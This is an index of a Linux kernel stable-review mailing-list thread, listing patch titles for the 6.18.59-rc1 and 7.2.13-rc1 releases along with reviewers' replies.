2026-10-23 16:36 ` [PATCH 6.18 142/193] KVM: SVM: Stop toggling virtual VMSAVE/VMLOAD on intercept recalc Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 143/193] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 144/193] ACPI: tiny-power-button: Convert the driver to a platform one Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 145/193] netfilter: nft_byteorder: remove multi-register support Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 146/193] KVM: x86/mmu: Preserve nested TDP shadow page tables if they are used as roots Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 147/193] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 148/193] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 149/193] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 150/193] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 151/193] ext4: free the sbi after a grace period Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 152/193] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 153/193] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 154/193] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 155/193] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 156/193] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 157/193] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 158/193] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 159/193] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 160/193] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 161/193] ntfs3: fix use-after-free of sbi->options in cmp_fnames Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 162/193] ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 163/193] fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 164/193] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 165/193] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 166/193] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 167/193] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 168/193] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 169/193] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 170/193] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 171/193] tracing: Fix fully-qualified variable reference printing in histograms Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 172/193] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 173/193] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 174/193] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 175/193] smb/client: refresh allocation size after duplicate extents Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 176/193] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 177/193] io_uring/cancel: move request/task cancelation logic into cancel.c Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 178/193] io_uring/cancel: move __io_uring_cancel() " Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 179/193] io_uring/cancel: move cancelation code from io_uring.c to cancel.c Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 180/193] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 181/193] workqueue: release pwq pools by pool type Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 182/193] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 183/193] virtio: set skb owner of virtio_transport_reset_no_sock() reply Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 184/193] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 185/193] ipv4: udp: Create exceptions before socket matching Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 186/193] vsock/vmci: validate packet source for connected sockets Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 187/193] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 188/193] ice: remove legacy Rx and construct SKB Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 189/193] ice: drop page splitting and recycling Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 190/193] ice: switch to Page Pool Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 191/193] ice: fix broken Rx on VFs Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 192/193] ice: fix crash in ethtool offline loopback test Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 193/193] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
2026-10-23 19:52 ` [PATCH 6.18 000/193] 6.18.59-rc1 review Wentao Guan
2026-10-23 20:15 ` Nikola Ciprich
2026-10-23 20:47 ` Pavel Machek
2026-10-23 21:28 ` Florian Fainelli
2026-10-24 2:27 ` Peter Schneider
2026-10-24 10:46 ` Barry K. Nathan
2026-10-24 10:58 ` Brett A C Sheffield
2026-10-24 11:55 ` Miguel Ojeda
2026-10-24 18:18 ` SJ Park
2026-10-25 0:37 ` Ron Economos
2026-10-26 18:41 ` Shuah Khan
-- strict thread matches above, loose matches on Subject: below --
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 001/242] ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 002/242] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 003/242] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 004/242] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 005/242] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 006/242] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 007/242] soc/tegra: pmc: Fix uninitialised clock rate Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 008/242] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 009/242] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 010/242] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 011/242] pinctrl: qcom: nord: fix GPIO interrupt target width Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 012/242] pinctrl: qcom: hawi: Fix intr_target_width Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 013/242] pinctrl: qcom: qcs8300: " Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 014/242] ARM: configs: sama5: enable current Microchip KSZ DSA symbols Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 015/242] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 016/242] pinctrl: qcom: spmi-gpio: make direction changes exclusive Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 017/242] tools/power turbostat: Warn, but dont Err on out-dated perf systems Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 018/242] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 019/242] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 020/242] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 021/242] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 022/242] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 023/242] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 024/242] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 025/242] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 026/242] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 027/242] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 028/242] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 029/242] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 030/242] accel/amdxdna: Fix Kconfig invalid configuration Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 031/242] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 032/242] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 033/242] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 034/242] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 035/242] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 036/242] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 037/242] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 038/242] ASoC: nau8822: " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 039/242] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 040/242] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 041/242] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 042/242] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 043/242] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 044/242] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 045/242] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 046/242] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 047/242] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 048/242] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 049/242] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 050/242] scsi: target: Disable interrupts while holding delayed_cmd_lock Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 051/242] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 052/242] sched/core: Call wakeup_preempt() for queued tasks during class change Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 053/242] entry: Account the deferred hrtimer rearm as hardirq context for lockdep Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 054/242] iommupt/kunit: Use if_changed_rule for the kunit Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 055/242] drm/panthor: fix immortalis condition Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 056/242] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 057/242] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 058/242] exit: fix lost-update race on the child_subreaper bitfields Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 059/242] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 060/242] fs: add switch_fs_struct() Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 061/242] fs: notice when init abandons fs sharing Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 062/242] fs: add scoped_with_init_fs() Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 063/242] fs: add real_fs to track tasks actual fs_struct Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 064/242] fs: make userspace_init_fs a dynamically-initialized pointer Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 065/242] fs: add umh argument to struct kernel_clone_args Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 066/242] fs: pass flags to copy_fs() Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 067/242] fs: let idle threads share init_fs Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 068/242] tracing: Fix empty symbol names in simple_ring_buffer undef check Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 069/242] tracing: Fix simple_ring_buffer undef check on parisc Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 070/242] tracing: Fix simple_ring_buffer undef check on sparc64 Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 071/242] ring-buffer: Skip si_mem_available() for persistent and remote buffers Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 072/242] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 073/242] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 074/242] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 075/242] net: hisilicon: hisi_femac: Move setting of netops to fix crash Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 076/242] net: hisilicon: hip04_eth: " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 077/242] net: ethernet: actions: " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 078/242] net: mv643xx: move " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 079/242] net: au1000: " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 080/242] net: ethoc: " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 082/242] net: ti: icssm-prueth: Move " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 083/242] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 084/242] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 085/242] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 086/242] gpio: mxc: fix race between chained IRQ handler install and probe completion Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 087/242] gpio: mxc: fix both_edges bit operations Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 088/242] gpio: mxc: fix wakeup_pads " Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 089/242] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 090/242] ring-buffer: Use subbuf_order in available memory estimation Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 091/242] net: stmmac: dwmac1000: clear the RGMII status interrupt Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 092/242] perf/x86/intel/uncore: Fix DMR CXL CM invert filter Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 093/242] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 094/242] printk: Postpone kthread startup Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 095/242] PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 096/242] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 097/242] x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 098/242] firewire: core: fix race condition in split transaction handling Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 099/242] 9p: free the session after a grace period Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 100/242] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 101/242] accel/rocket: search every core slot when looking up a scheduler Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 102/242] afs: free the super info after a grace period Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 103/242] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 104/242] ASoC: SOF: sof-client: Use event-handler mutex consistently Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 105/242] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 106/242] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 107/242] unicode: free the map after a grace period Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 108/242] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 109/242] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 110/242] KVM: SEV: Fix page dirtying in sev_gmem_post_populate() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 111/242] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 112/242] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 113/242] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 114/242] ext4: free the sbi after a grace period Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 115/242] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 116/242] ipc: drop the mqueue mount with kern_unmount() on setup failure Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 117/242] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 118/242] namespace: a mount that copy_tree() leaves out cant take over a lock Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 119/242] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 120/242] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 121/242] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 122/242] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 123/242] mshv_vtl: Check per-CPU register page before mmap Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 124/242] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 125/242] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 126/242] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 127/242] power: sequencing: qcom-wcn: power off WLAN at probe Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 128/242] riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 129/242] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 130/242] spi: imx: fix slab corruption from undersized DMA bounce buffers Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 131/242] tools/power turbostat: Read complete CPU lists Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 132/242] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 133/242] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 134/242] gpio: shared: fix use-after-free bug when adding shared proxies Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 135/242] gpio: shared: gracefully handle no-device lookup of shared GPIOs Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 136/242] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 137/242] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 139/242] perf: Track the perf mlock gift separately Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 140/242] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 141/242] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 142/242] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 143/242] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 144/242] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 145/242] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 146/242] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 147/242] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 148/242] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 149/242] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 150/242] drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 151/242] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 152/242] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 153/242] drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 154/242] drm/amdgpu: destroy mutex when tearing down ttm buffer entity Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 155/242] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 156/242] drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 157/242] drm/amdgpu: fix sched entity leak in ttm buffer entity init Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 158/242] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 159/242] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 160/242] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 161/242] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 162/242] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 163/242] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 164/242] drm/xe: Dont transfer shrinker pages for pinned bos on purgeable state change Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 165/242] sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 166/242] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 167/242] sched_ext: Propagate every bypass depth change to the descendants Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 168/242] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 169/242] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 170/242] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 171/242] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 172/242] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 173/242] tracing: Fix crash in print_graph_function_event() Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 174/242] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 175/242] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 176/242] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 177/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 178/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
